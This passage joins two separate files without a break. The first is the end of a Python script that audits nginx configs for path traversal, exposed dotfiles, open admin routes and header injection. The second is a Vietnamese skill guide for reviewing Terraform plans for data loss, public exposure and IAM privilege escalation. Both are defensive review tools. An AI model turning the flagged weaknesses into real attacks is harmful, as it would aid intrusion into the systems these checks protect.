"Raise max-age to 31536000 once HTTPS works everywhere.")
missing = [v for k, v in SECURITY_HEADERS.items() if k not in hdrs]
if "x-frame-options" not in hdrs and "content-security-policy" in hdrs and \
"frame-ancestors" in " ".join(hdrs["content-security-policy"].args):
missing = [v for v in missing if not v.startswith("X-Frame")]
if missing:
add("LOW", "MISSING_SECURITY_HEADERS", s.line, f"{label}: missing {'; '.join(missing)}",
"Add them with `always` in the server block (check the inheritance rule for locations).")
elif listens_plain(s) and names(s) & tls_names:
redirects = any(r.args and r.args[0] in ("301", "302", "307", "308") and len(r.args) > 1 and r.args[1].startswith("https://")
for r in [d for d in s.walk() if d.name == "return"])
rewrites = any(len(r.args) > 1 and r.args[1].startswith("https://") for r in [d for d in s.walk() if d.name == "rewrite"])
if not (redirects or rewrites):
add("MEDIUM", "HTTP_NO_REDIRECT", s.line, f"plain-HTTP server {label} serves content instead of redirecting to HTTPS",
"Use `return 301 https://$host$request_uri;` in the port-80 server (keep only /.well-known/acme-challenge/ if needed).")
server_hdrs = effective_headers(scopes)
has_dot_rule = False
locations = [d for d in s.walk() if d.name == "location"]
for loc in locations:
path = loc.args[-1] if loc.args else ""
mod = loc.args[0] if len(loc.args) > 1 else ""
if mod in ("~", "~*") and (r"/\." in path or path.startswith(r"\.") or r"(^|/)\." in path):
if loc.get("deny") or any(r.args and r.args[0] in ("403", "404") for r in loc.get("return")):
has_dot_rule = True
own = headers_of(loc)
hi = inherited(scopes + [loc], "add_header_inherit")
merge = bool(hi and hi.args and hi.args[0] == "merge") # nginx 1.29.3+
if own and server_hdrs and not merge:
lost = sorted(set(server_hdrs) - set(own))
if lost:
add("MEDIUM", "ADD_HEADER_INHERITANCE", loc.line,
f"location {path} has its own add_header, so it silently drops {', '.join(lost)} set at server/http level",
"Repeat those headers in this location, include a shared headers snippet, or on nginx 1.29.3+ set `add_header_inherit merge;`.")
al = loc.first("alias")
if al and al.args and mod in ("", "^~") and not path.endswith("/") and al.args[0].endswith("/"):
add("HIGH", "ALIAS_TRAVERSAL", al.line,
f"location {path} (no trailing slash) with alias {al.args[0]} (trailing slash) allows {path}../ path traversal",
f"Make both end with a slash: `location {path}/ {{ alias {al.args[0]}; }}`.")
ai = loc.first("autoindex")
if ai and ai.args and ai.args[0] == "on":
add("MEDIUM", "AUTOINDEX_ON", ai.line, f"autoindex on in location {path} lists directory contents",
"Turn it off, or restrict the location with allow/deny or auth_basic.")
if ADMIN_RE.search(path):
guarded = loc.get("deny") or loc.get("auth_basic") or loc.get("auth_request") or loc.get("satisfy") \
or any(r.args and r.args[0] in ("403", "404", "444") for r in loc.get("return"))
if not guarded:
add("MEDIUM", "ADMIN_OPEN", loc.line, f"location {path} looks like an admin/status endpoint with no allow/deny or auth",
"Add `allow <office/VPN range>; deny all;` or auth_basic/auth_request, or remove the route.")
if LOGIN_RE.search(path) and not inherited(scopes + [loc], "limit_req"):
add("LOW", "NO_RATE_LIMIT", loc.line, f"location {path} looks like a login/auth endpoint without limit_req",
"Define `limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;` in http and `limit_req zone=login burst=5 nodelay;` here.")
if loc.first("proxy_pass"):
ph = set()
for sc in reversed(scopes + [loc]): # like add_header: innermost level that sets any wins
if sc.get("proxy_set_header"):
ph = {d.args[0].lower() for d in sc.get("proxy_set_header") if d.args}
break
miss = [h for h in ("host", "x-forwarded-for", "x-forwarded-proto") if h not in ph]
if miss:
add("LOW", "PROXY_HEADERS", loc.line, f"location {path} proxies without {', '.join(miss)}",
"Set proxy_set_header Host $host; X-Forwarded-For $proxy_add_x_forwarded_for; X-Forwarded-Proto $scheme; (note: any proxy_set_header in a location replaces inherited ones).")
serves_files = inherited(scopes, "root") or any(
(l.first("root") or l.first("alias")) and not (l.args and l.args[-1].startswith("/.well-known/")) for l in locations)
if serves_files and not has_dot_rule:
add("LOW", "DOTFILES_EXPOSED", s.line, f"{label}: no rule blocks hidden files such as /.git/ or /.env",
r"Add `location ~ /\.(?!well-known) { deny all; }`.")
for d in root.walk():
if d.name == "client_max_body_size" and d.args and d.args[0] in ("0", "0m", "0k"):
add("MEDIUM", "UNLIMITED_BODY", d.line, "client_max_body_size 0 disables the request body limit",
"Set a real limit (e.g. 10m, or larger only in the upload location).")
if d.name in ("return", "rewrite", "add_header") and any(re.search(r"\$uri\b|\$document_uri\b", a) for a in d.args):
add("MEDIUM", "URI_IN_REDIRECT", d.line, f"{d.name} uses $uri (decoded, may contain CR/LF), which allows header injection",
"Use $request_uri (raw, still encoded) in redirects and headers.")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["line"]))
return {"file": fname, "servers": [{"line": s.line, "names": sorted(names(s)), "tls": is_tls(s)} for s in servers],
"findings": findings}
def to_markdown(results):
out = ["# Nginx config security review", ""]
allf = [f for r in results for f in r["findings"]]
counts = {k: sum(1 for f in allf if f["severity"] == k) for k in SEV_ORDER}
out.append("Findings: " + ", ".join(f"{v} {k}" for k, v in counts.items()))
for r in results:
out += ["", f"## {r['file']}", "", "| Server | Line | TLS |", "|---|---|---|"]
for s in r["servers"]:
out.append(f"| {' '.join(s['names'])} | {s['line']} | {'yes' if s['tls'] else 'no'} |")
out += ["", "| Severity | Code | Line | Problem | Fix |", "|---|---|---|---|---|"]
for f in r["findings"]:
out.append(f"| {f['severity']} | {f['code']} | {f['line']} | {f['message']} | {f['fix']} |")
if not r["findings"]:
out.append("| - | - | - | no findings | - |")
out += ["", "Always run `nginx -t` before reloading, and test with `curl -sI https://<host>/` afterwards."]
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def codes(conf):
return [f["code"] for f in review(conf)["findings"]]
good = """
http {
server_tokens off;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server { listen 80; server_name a.test; return 301 https://$host$request_uri; }
server {
listen 443 ssl; http2 on; server_name a.test;
ssl_certificate /c.pem; ssl_certificate_key /k.pem;
ssl_protocols TLSv1.2 TLSv1.3;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
root /srv/www;
location ~ /\\.(?!well-known) { deny all; }
location /static/ { alias /srv/static/; }
location /login { limit_req zone=login burst=5 nodelay; proxy_pass http://app;
proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme; }
}
}"""
check("clean config has no findings", codes(good) == [])
check("comments and quotes parsed", parse('a "b c;" d; # x;\n e f;').children[0].args == ["b c;", "d"])
check("var token kept", parse("set $x hosta;").children[0].args == ["$x", "hosta"])
for bad, msg in [("server { listen 80;", "unclosed block"), ("a b", "missing ;"), ("}", "stray brace"), ('a "b;', "unterminated quote")]:
try:
parse(bad); check("parse error: " + msg, False)
except ParseError:
check("parse error: " + msg, True)
check("SERVER_TOKENS when missing", "SERVER_TOKENS" in codes("http { server { listen 80; } }"))
tls = "server { listen 443 ssl; server_name b.test; ssl_certificate /c; %s }"
check("OLD_TLS_PROTOCOL", "OLD_TLS_PROTOCOL" in codes(tls % "ssl_protocols TLSv1 TLSv1.2;"))
check("TLSv1.2 alone fine", "OLD_TLS_PROTOCOL" not in codes(tls % "ssl_protocols TLSv1.2;"))
check("WEAK_CIPHERS", "WEAK_CIPHERS" in codes(tls % "ssl_ciphers 'HIGH:RC4-SHA:DES-CBC3-SHA';"))
check("excluded !RC4 is fine", "WEAK_CIPHERS" not in codes(tls % "ssl_ciphers 'HIGH:!aNULL:!MD5:!RC4';"))
check("NO_CERTIFICATE", "NO_CERTIFICATE" in codes("server { listen 443 ssl; }"))
check("cert inherited from http", "NO_CERTIFICATE" not in codes("http { ssl_certificate /c; server { listen 443 ssl; } }"))
check("NO_HSTS", "NO_HSTS" in codes(tls % ""))
check("SHORT_HSTS", "SHORT_HSTS" in codes(tls % 'add_header Strict-Transport-Security "max-age=300";'))
check("MISSING_SECURITY_HEADERS", "MISSING_SECURITY_HEADERS" in codes(tls % ""))
inh = tls % 'add_header Strict-Transport-Security "max-age=31536000"; location /api/ { add_header Cache-Control no-store; }'
r = review(inh)["findings"]
check("ADD_HEADER_INHERITANCE names lost header",
any(f["code"] == "ADD_HEADER_INHERITANCE" and "strict-transport-security" in f["message"] for f in r))
check("headers inherited when location has none", "ADD_HEADER_INHERITANCE" not in codes(
tls % 'add_header Strict-Transport-Security "max-age=31536000"; location /api/ { proxy_pass http://x; }'))
check("add_header_inherit merge respected", "ADD_HEADER_INHERITANCE" not in codes(
tls % 'add_header_inherit merge; add_header Strict-Transport-Security "max-age=31536000"; location /api/ { add_header Cache-Control no-store; }'))
check("ALIAS_TRAVERSAL", "ALIAS_TRAVERSAL" in codes("server { location /img { alias /srv/img/; } }"))
check("alias with matching slashes fine", "ALIAS_TRAVERSAL" not in codes("server { location /img/ { alias /srv/img/; } }"))
check("regex location alias not flagged", "ALIAS_TRAVERSAL" not in codes(r"server { location ~ ^/img/(.*)$ { alias /srv/img/$1; } }"))
check("AUTOINDEX_ON", "AUTOINDEX_ON" in codes("server { location /files/ { autoindex on; } }"))
check("HTTP_NO_REDIRECT", "HTTP_NO_REDIRECT" in codes(
"server { listen 80; server_name c.test; root /x; } server { listen 443 ssl; server_name c.test; ssl_certificate /c; }"))
check("no HTTP_NO_REDIRECT for unrelated name", "HTTP_NO_REDIRECT" not in codes(
"server { listen 80; server_name d.test; } server { listen 443 ssl; server_name c.test; ssl_certificate /c; }"))
check("ADMIN_OPEN", "ADMIN_OPEN" in codes("server { location /admin/ { proxy_pass http://x; } }"))
check("admin with deny fine", "ADMIN_OPEN" not in codes("server { location /admin/ { allow 10.0.0.0/8; deny all; } }"))
check("NO_RATE_LIMIT", "NO_RATE_LIMIT" in codes("server { location /api/login { proxy_pass http://x; } }"))
check("rate limit inherited from server", "NO_RATE_LIMIT" not in codes(
"server { limit_req zone=z; location /api/login { proxy_pass http://x; } }"))
check("PROXY_HEADERS", "PROXY_HEADERS" in codes("server { location / { proxy_pass http://x; } }"))
check("proxy_set_header in location replaces inherited", "PROXY_HEADERS" in codes(
"server { proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; "
"proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_set_header Upgrade $http_upgrade; proxy_pass http://x; } }"))
check("DOTFILES_EXPOSED", "DOTFILES_EXPOSED" in codes("server { root /srv; }"))
check("ACME-only port 80 server not flagged for dotfiles", "DOTFILES_EXPOSED" not in codes(
"server { listen 80; location /.well-known/acme-challenge/ { root /var/www/certbot; } location / { return 301 https://$host$request_uri; } }"))
check("UNLIMITED_BODY", "UNLIMITED_BODY" in codes("http { client_max_body_size 0; }"))
check("URI_IN_REDIRECT", "URI_IN_REDIRECT" in codes("server { return 301 https://$host$uri; }"))
check("$request_uri fine", "URI_IN_REDIRECT" not in codes("server { return 301 https://$host$request_uri; }"))
check("INCLUDE_NOT_FOLLOWED", "INCLUDE_NOT_FOLLOWED" in codes("http { include /etc/nginx/conf.d/*.conf; }"))
check("findings sorted HIGH first", review("server { listen 443 ssl; location /files/ { autoindex on; } }")["findings"][0]["severity"] == "HIGH")
passed = sum(results)
print(f"{passed}/{len(results)} passed")
return 0 if passed == len(results) else 1
def main():
ap = argparse.ArgumentParser(description="Nginx config security reviewer")
ap.add_argument("files", nargs="*", help="nginx config files (nginx.conf, sites-available/*, or `nginx -T` output)")
ap.add_argument("--json", action="store_true", help="print JSON instead of Markdown")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.files:
ap.error("give at least one config file, or --self-test")
results = []
for f in a.files:
try:
with open(f, encoding="utf-8") as fh:
results.append(review(fh.read(), f))
except (OSError, UnicodeDecodeError, ParseError) as e:
print(f"error: {f}: {e}", file=sys.stderr)
return 2
print(json.dumps(results, indent=2) if a.json else to_markdown(results))
return 1 if any(f["severity"] == "HIGH" for r in results for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Đánh giá đầu ra của lệnh terraform plan và show -json trước khi thực hiện apply. Cảnh báo các thao tác xóa (destroy) và thay thế (replace) cơ sở dữ liệu, bucket và các kho lưu trữ dữ liệu khác, việc gỡ bỏ tính năng bảo vệ chống xóa (deletion protection), bỏ qua bản chụp nhanh cuối cùng (final snapshot), cờ force_destroy, luồng truy cập vào (ingress) 0.0.0.0/0 mới, cơ sở dữ liệu và bucket công khai, việc nới rộng quyền IAM (ký tự đại diện wildcard, chính sách quản trị viên, PassRole trên *, chính sách tin cậy mở) và sự dịch chuyển chỉ số count, đồng thời viết bản tóm tắt rủi ro kèm theo kết luận phán quyết. Bao gồm một trình kiểm tra viết bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: terraform-plan-risk-reviewer
description: Đánh giá đầu ra của lệnh terraform plan và show -json trước khi thực hiện apply. Cảnh báo các thao tác xóa (destroy) và thay thế (replace) cơ sở dữ liệu, bucket và các kho lưu trữ dữ liệu khác, việc gỡ bỏ tính năng bảo vệ chống xóa (deletion protection), bỏ qua bản chụp nhanh cuối cùng (final snapshot), cờ force_destroy, luồng truy cập vào (ingress) 0.0.0.0/0 mới, cơ sở dữ liệu và bucket công khai, việc nới rộng quyền IAM (ký tự đại diện wildcard, chính sách quản trị viên, PassRole trên *, chính sách tin cậy mở) và sự dịch chuyển chỉ số count, đồng thời viết bản tóm tắt rủi ro kèm theo kết luận phán quyết. Bao gồm một trình kiểm tra viết bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Trình Đánh giá Rủi ro Kế hoạch Terraform (Terraform Plan Risk Reviewer)
Bạn đánh giá các bản kế hoạch (plan) của Terraform (hoặc OpenTofu) theo đúng cách mà một kỹ sư nền tảng (platform engineer) cẩn trọng thực hiện trước khi phê duyệt lệnh apply: thứ gì sẽ bị xóa bỏ hoặc thay thế, dữ liệu nào có thể bị mất, thành phần nào sẽ có thể truy cập được từ internet, và ai được cấp thêm quyền hạn. Bạn đưa ra kết luận phán quyết rõ ràng cùng các cách khắc phục cụ thể, và tuyệt đối không bao giờ dán lại các thông tin bí mật (secrets) từ bản kế hoạch trả về cho người dùng.
## Các tệp trong kỹ năng này
- `scripts/plan_risk.py` - đọc đầu ra của `terraform show -json` (kiểm tra toàn diện) hoặc văn bản `terraform plan -no-color` (kiểm tra ở cấp độ hành động) và in ra các phát hiện, số lượng thống kê cùng kết luận phán quyết (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/reading-plan-output.md` - cách tạo tệp JSON của bản kế hoạch, các ký hiệu văn bản và dòng giải thích lý do, cấu trúc JSON, các lệnh jq một dòng (one-liners), thông tin bí mật trong bản kế hoạch và những gì bản kế hoạch không thể hiển thị
- `references/risk-rules.md` - toàn bộ các mã phát hiện kèm theo mức độ nghiêm trọng, điều kiện kích hoạt, lý do tại sao nó quan trọng và cách khắc phục thông thường, các quy tắc đưa ra phán quyết và các mục cần kiểm tra thủ công
- `templates/plan-risk-summary.md` - bản mẫu tóm tắt để đăng lên pull request
- `examples/shop-prod-plan.json` - một bản kế hoạch môi trường production có chứa một cơ sở dữ liệu bị thay thế, một bucket bị xóa, một quy tắc SSH mở ra toàn thế giới, một chính sách CI bị nới rộng quyền, một liên kết quyền quản trị viên (admin attachment) và một sự dịch chuyển chỉ số count
## Quy trình làm việc
### 1. Lấy đúng bản kế hoạch
Yêu cầu bản kế hoạch của đúng thay đổi đó: chạy `terraform plan -out plan.out` sau đó chạy `terraform show -json plan.out > plan.json`, cộng với bản so sánh khác biệt mã nguồn (code diff) hoặc mô tả PR và không gian làm việc (workspace)/tài khoản đích. Nếu người dùng chỉ có đầu ra dạng văn bản, hãy vẫn sử dụng nó nhưng nói rõ rằng các bước kiểm tra thuộc tính chi tiết (IAM, ingress, các cờ bảo vệ) cần có tệp JSON. Nhắc họ rằng tệp JSON của bản kế hoạch có chứa thông tin bí mật (secrets): hãy chạy kịch bản (script) ngay tại nơi chứa tệp đó thay vì dán nội dung tệp vào cuộc trò chuyện.
### 2. Chạy trình kiểm tra
```
python3 scripts/plan_risk.py examples/shop-prod-plan.json
python3 scripts/plan_risk.py plan.json --json
python3 scripts/plan_risk.py plan.txt
python3 scripts/plan_risk.py --self-test
```
Mã thoát (Exit) 1 có nghĩa là có ít nhất một phát hiện mức HIGH, mã thoát 2 có nghĩa là tệp đầu vào không phải là một bản kế hoạch hợp lệ.
### 3. Đánh giá như một chuyên gia con người
- So sánh các thay đổi trong kế hoạch với bản khác biệt mã nguồn (code diff): bất kỳ điều gì không được giải thích bởi code diff (nâng cấp provider, sai lệch cấu hình thực tế - drift, tài nguyên bị đổi tên) đều cần có câu trả lời rõ ràng trước khi apply.
- Đối với mỗi phát hiện `DATA_LOSS`: đó là thao tác đổi tên (hãy dùng khối `moved`), sự thay thế bắt buộc (do thuộc tính nào gây ra, xem `replace_paths`), hay là thao tác xóa thật sự (đã có bản sao lưu chưa)?
- Đối với các phát hiện về lộ lọt bề mặt mạng (exposure) và IAM: quy tắc hoặc chính sách nhỏ nhất vừa đủ để hoàn thành công việc là gì?
- Kiểm tra những điểm mà kịch bản không thể nhìn thấy (`references/risk-rules.md`, mục "Things to check by hand"): các giá trị chưa xác định (unknown values), thứ tự gây thời gian chết (downtime order), di trú dữ liệu, không gian làm việc (workspace) và tài khoản.
### 4. Bàn giao kết quả
Điền vào mẫu `templates/plan-risk-summary.md`: kết luận phán quyết, các mục mức HIGH kèm cách sửa hoặc tên người chịu trách nhiệm chấp nhận rủi ro, các mục mức MEDIUM kèm người sở hữu (owner), các thay đổi dự kiến so với ngoài dự kiến, các bước thực hiện apply kèm kế hoạch hoàn tác (rollback). Đưa ra các đoạn mã sửa lỗi dưới dạng các đoạn mã HCL nhỏ gọn (khối moved, lifecycle, chính sách giới hạn phạm vi).
## Ví dụ kết quả
`examples/shop-prod-plan.json` (Terraform 1.9.8): 2 tạo mới (create), 4 cập nhật (update), 2 thay thế (replace), 2 xóa bỏ (destroy); 6 HIGH, 5 MEDIUM, 2 LOW, 2 INFO, phán quyết DO NOT APPLY (KHÔNG ĐƯỢC ÁP DỤNG). Mức HIGH: thực thể RDS lưu đơn hàng bị thay thế (xóa trước) vì thuộc tính `storage_encrypted` đã thay đổi, trong khi tính năng bảo vệ chống xóa (deletion protection) đang tắt và không có bản chụp nhanh cuối cùng (final snapshot); bucket lưu nhật ký cũ (legacy logs) bị xóa kèm cờ force_destroy; cổng SSH được mở cho 0.0.0.0/0 trên máy chủ bastion; khối chặn truy cập công khai S3 (public access block) bị tắt đối với bucket chứa tài sản (assets); vai trò CI (CI role) nhận quyền `iam:PassRole` trên `*` (và `s3:*`); chính sách AdministratorAccess được gắn vào vai trò vận hành (ops role). Mức MEDIUM cũng bao gồm việc `aws_instance.web[1]` bị xóa do sự dịch chuyển chỉ số count. Cách khắc phục: chụp bản sao lưu (snapshot) và di trú cơ sở dữ liệu, dùng khối `moved` hoặc `removed` cho bucket, dùng SSM thay vì mở SSH công khai, thu hẹp phạm vi chính sách, dùng `for_each` cho các thực thể máy chủ web.
## Quy tắc
- Tuyệt đối không bao giờ in ra hoặc trích dẫn mật khẩu, khóa hoặc token từ bản kế hoạch, ngay cả khi chúng hiển thị rõ trong tệp JSON.
- Một phát hiện mức HIGH sẽ chặn việc thực thi apply cho đến khi nó được khắc phục hoặc có một người chịu trách nhiệm cụ thể chấp nhận rủi ro bằng văn bản.
- Ưu tiên sử dụng các khối `moved`, `removed` và `import` thay vì xóa-rồi-tạo-lại (destroy-and-recreate) khi tái cấu trúc mã (refactor).
- Các kho lưu trữ dữ liệu bắt buộc phải có bản sao lưu trước khi thực hiện bất kỳ thao tác xóa hoặc thay thế nào, và phải bật `prevent_destroy` sau đó.
- Không phê duyệt các bản kế hoạch mà bạn không thể xem đầy đủ toàn bộ (đầu ra bị cắt bớt, chạy với cờ `-target`, bản kế hoạch bị lỗi); hãy yêu cầu cung cấp bản kế hoạch hoàn chỉnh.
- Chính sách dưới dạng mã (Policy-as-code như OPA/Conftest, Sentinel, Checkov, tfsec) là bước bổ trợ tiếp theo rất tốt, nhưng không thể thay thế cho việc đọc hiểu trực tiếp bản kế hoạch.
FILE:references/reading-plan-output.md
# Đọc đầu ra kế hoạch Terraform (Terraform plan output)
## Lấy bản kế hoạch ở định dạng máy có thể đọc được
```
terraform plan -out plan.out # thêm -var-file / -target giống hệt như khi chạy apply thực tế
terraform show -json plan.out > plan.json
terraform show -no-color plan.out > plan.txt # bản sao dễ đọc cho con người của cùng bản kế hoạch đã lưu
```
Hãy đánh giá CÙNG MỘT bản kế hoạch đã lưu mà bạn sẽ dùng để chạy apply (`terraform apply plan.out`), chứ không phải một bản kế hoạch mới chạy lại: trạng thái (state) hoặc các tài nguyên từ xa có thể thay đổi ở khoảng thời gian giữa hai lần chạy. OpenTofu cũng sử dụng các lệnh tương tự (`tofu show -json`) và cùng định dạng.
## Các ký hiệu văn bản
| Ký hiệu | Dòng tiêu đề | Ý nghĩa |
|---|---|---|
| `+` | `will be created` | tài nguyên mới |
| `~` | `will be updated in-place` | thay đổi thuộc tính, giữ nguyên ID tài nguyên |
| `-` | `will be destroyed` | tài nguyên bị xóa |
| `-/+` | `must be replaced` | xóa trước, tạo lại sau (mặc định) - gây khoảng trống thời gian chết (downtime) |
| `+/-` | `must be replaced` | tạo mới trước, xóa cũ sau (`create_before_destroy`) |
| `<=` | `will be read during apply` | đọc nguồn dữ liệu (data source); hãy kiểm tra lý do tại sao nó chưa được biết tại thời điểm lập kế hoạch |
| `# forces replacement` | nằm sau một thuộc tính | sự thay đổi thuộc tính này là nguyên nhân bắt buộc phải thay thế tài nguyên |
| `(known after apply)` | giá trị | được tính toán sau; bạn không thể xem xét giá trị này ngay bây giờ |
| `(sensitive value)` | giá trị | bị ẩn trong đầu ra văn bản, nhưng vẫn hiện diện rõ trong tệp JSON của bản kế hoạch |
Các dòng giải thích lý do nằm bên dưới dòng tiêu đề: `# (because aws_x.y is not in configuration)` (đã bị xóa khỏi mã nguồn hoặc bị di chuyển mà không có khối `moved`), `# (because index [1] is out of range for count)` (giá trị count bị giảm đi hoặc bị dịch chuyển), `# (because key ["a"] is not in for_each map)`, `# (resource is tainted, so must be replaced)`, `# (replace requested)` (do sử dụng cờ `-replace=`).
Dòng tóm tắt: `Plan: 3 to add, 1 to change, 3 to destroy.` Một thao tác thay thế (replacement) được tính một lần vào mục thêm mới ("add") và một lần vào mục xóa bỏ ("destroy"), vì vậy hãy so sánh số lượng xóa bỏ với tổng số dòng tiêu đề có ký hiệu `-` và `-/+`.
## Cấu trúc JSON (format_version 1.x)
```
{
"format_version": "1.2", "terraform_version": "1.9.8",
"resource_changes": [ {
"address": "module.db.aws_db_instance.main", "module_address": "module.db",
"mode": "managed" | "data", "type": "aws_db_instance", "name": "main", "index": 0 | "key",
"change": {
"actions": ["create"] | ["update"] | ["delete"] | ["delete","create"] | ["create","delete"] | ["no-op"] | ["read"] | ["forget"],
"before": {...} | null, "after": {...} | null,
"after_unknown": {"id": true}, # các giá trị chỉ được biết sau khi chạy apply
"before_sensitive": {...}, "after_sensitive": {"password": true},
"replace_paths": [["storage_encrypted"]], # các thuộc tính bắt buộc phải thay thế tài nguyên
"importing": {"id": "..."} # các khối import (phiên bản 1.5+)
},
"action_reason": "replace_because_cannot_update" | "replace_because_tainted" | "replace_by_request" |
"delete_because_no_resource_config" | "delete_because_count_index" | "delete_because_each_key" | ...,
"previous_address": "aws_db_instance.old" # các khối moved
} ],
"resource_drift": [ ... các thay đổi được thực hiện bên ngoài Terraform ... ],
"output_changes": {...}, "prior_state": {...}, "configuration": {...},
"applyable": true, "complete": true, "errored": false
}
```
Các lệnh một dòng (one-liner) hữu ích:
```
jq -r '.resource_changes[] | select(.change.actions != ["no-op"]) | "\(.change.actions | join(",")) \(.address)"' plan.json
jq -r '.resource_changes[] | select(.change.actions | index("delete")) | .address' plan.json
jq -r '.resource_changes[] | select(.change.replace_paths) | "\(.address): \(.change.replace_paths)"' plan.json
```
## Thông tin nhạy cảm (Secrets) trong bản kế hoạch (plan)
`before`/`after` chứa các giá trị thực tế, bao gồm mật khẩu và khóa riêng tư (private key), ngay cả khi `*_sensitive` đánh dấu chúng. Hãy coi plan.out và plan.json như các thông tin bí mật (secrets): không đính kèm chúng vào ticket, tin nhắn trò chuyện hoặc nhật ký CI công khai; hãy lưu giữ chúng dưới dạng các artifact CI có thời hạn ngắn và được kiểm soát quyền truy cập. Thay vào đó, hãy chia sẻ bản tóm tắt rủi ro.
## Những điều bản kế hoạch (plan) không thể cho bạn biết
- Các giá trị được tính toán tại thời điểm áp dụng (`known after apply`), bao gồm nhiều tài liệu chính sách IAM được xây dựng từ các tài nguyên khác.
- Các tác dụng phụ bên ngoài Terraform: bộ nhớ đệm DNS, các máy khách (client) được ghim vào một địa chỉ IP, dữ liệu bên trong cơ sở dữ liệu đang bị thay thế.
- Liệu `lifecycle { prevent_destroy = true }` có được thiết lập hay không (nó nằm trong `configuration`, và một bản kế hoạch vi phạm điều này sẽ báo lỗi ngay từ đầu).
- Hành vi đặc thù của nhà cung cấp (provider) chẳng hạn như việc RDS chỉ áp dụng một số thay đổi trong khung thời gian bảo trì tiếp theo (`apply_immediately`).
FILE:references/risk-rules.md
# Các quy tắc rủi ro được sử dụng bởi plan_risk.py
| Mã | Mức độ nghiêm trọng | Điều kiện kích hoạt | Tại sao lại quan trọng | Cách khắc phục điển hình |
|---|---|---|---|---|
| DATA_LOSS | HIGH | hủy (destroy) hoặc thay thế (replace) một loại tài nguyên lưu giữ dữ liệu: cơ sở dữ liệu (RDS, Cloud SQL, Azure SQL/PostgreSQL/MySQL, Cosmos DB, DynamoDB), bucket, ổ đĩa/volume, EFS/FSx, bộ nhớ đệm (cache), hàng đợi/luồng (queues/streams), khóa KMS, secret, vùng DNS (DNS zones), nhóm nhật ký (log groups), ECR, PVC/namespace của Kubernetes | một tài nguyên mới sẽ bắt đầu ở trạng thái trống; việc xóa khóa KMS khiến dữ liệu đã mã hóa không thể đọc được | tạo bản chụp nhanh (snapshot)/sao lưu trước, dùng khối `moved` khi tái cấu trúc (refactor), đặt `prevent_destroy` trên các kho dữ liệu, di chuyển dữ liệu trước khi thay thế |
| PROTECTION_OFF | HIGH (cập nhật) / MEDIUM (mới hoặc thay thế) | `deletion_protection`, `deletion_protection_enabled`, `enable_deletion_protection`, `termination_protection`, `disable_api_termination` có giá trị false | sai sót tiếp theo có thể xóa sổ môi trường production | giữ giá trị true; chỉ tắt trong một thay đổi riêng biệt ngay trước khi thực hiện việc xóa đã lên kế hoạch |
| PUBLIC_INGRESS | HIGH | luồng truy cập vào (ingress) 0.0.0.0/0 hoặc ::/0 mới trên tất cả các cổng hoặc các cổng quản trị/dữ liệu (22, 3389, 3306, 5432, 1433, 6379, 27017, 9200, 6443 ...) | bề mặt tấn công trực tiếp, tấn công vét cạn (brute force), lộ lọt dữ liệu | dùng các dải CIDR đã biết, SSM Session Manager, VPN, bastion, các điểm cuối riêng tư (private endpoints) |
| PUBLIC_INGRESS | MEDIUM / INFO | các cổng khác / 80 và 443 | | chỉ phơi bày các bộ cân bằng tải (load balancers) |
| PUBLIC_DATABASE | HIGH | `publicly_accessible = true` | điểm cuối cơ sở dữ liệu có thể truy cập được từ internet | mạng con riêng tư (private subnets), proxy, VPN |
| S3_PUBLIC_ACCESS | HIGH | bất kỳ thiết lập nào trong bốn thiết lập chặn truy cập công khai bị đặt thành false | chính sách bucket hoặc ACL có thể khiến dữ liệu bị công khai | giữ cả bốn thiết lập là true; dùng CloudFront + Origin Access Control |
| PUBLIC_ACL | HIGH | `public-read`, `public-read-write`, `authenticated-read` | mọi người đều có thể liệt kê hoặc đọc (hoặc ghi) | BucketOwnerEnforced, riêng tư (private) |
| PUBLIC_POLICY | HIGH | chính sách tài nguyên đặt Allow với Principal `*` và không có Condition | bất kỳ ai trên internet (hoặc bất kỳ tài khoản AWS nào) đều có quyền truy cập | chỉ định rõ các định danh (named principals); `aws:SourceArn`, `aws:PrincipalOrgID`, `aws:SourceVpce` |
| PUBLIC_IAM | HIGH | ràng buộc GCP tới `allUsers` / `allAuthenticatedUsers` | truy cập công khai | chỉ định các thành viên cụ thể |
| TRUST_ANYONE | HIGH | chính sách tin cậy của vai trò (role trust policy) có Principal `*` và không có Condition | bất kỳ tài khoản AWS nào cũng có thể đảm nhận vai trò (assume role) | dùng các ARN chính xác + `sts:ExternalId` |
| IAM_ADMIN | HIGH | `Action * / Resource *`, AdministratorAccess, PowerUserAccess, IAMFullAccess, GCP owner/editor, Azure Owner/User Access Administrator (Contributor = MEDIUM) | toàn quyền kiểm soát tài khoản hoặc dự án | đặc quyền tối thiểu (least privilege); tài khoản quản trị khẩn cấp (break-glass admin) có MFA |
| IAM_ESCALATION | HIGH | `iam:PassRole`, `iam:Attach*/Put*Policy`, `iam:CreatePolicyVersion`, `iam:CreateAccessKey`, `sts:AssumeRole`, `kms:*` trên `*`; `iam:*`, `sts:*` ở bất kỳ đâu | người nắm giữ có thể tự cấp thêm quyền cho chính mình | giới hạn phạm vi vào các ARN cụ thể; dùng điều kiện `iam:PassedToService` |
| IAM_WILDCARD | HIGH trên `*` / MEDIUM | các hành động `service:*`, các chính sách được quản lý `*FullAccess` | vượt quá xa mức cần thiết, bao gồm cả quyền xóa | liệt kê các hành động thực sự được sử dụng (Access Analyzer, CloudTrail) |
| IAM_NOT_ACTION | MEDIUM | Allow đi kèm với NotAction | cấp quyền cho mọi thứ khác, bao gồm cả các hành động trong tương lai | dùng danh sách Action tường minh |
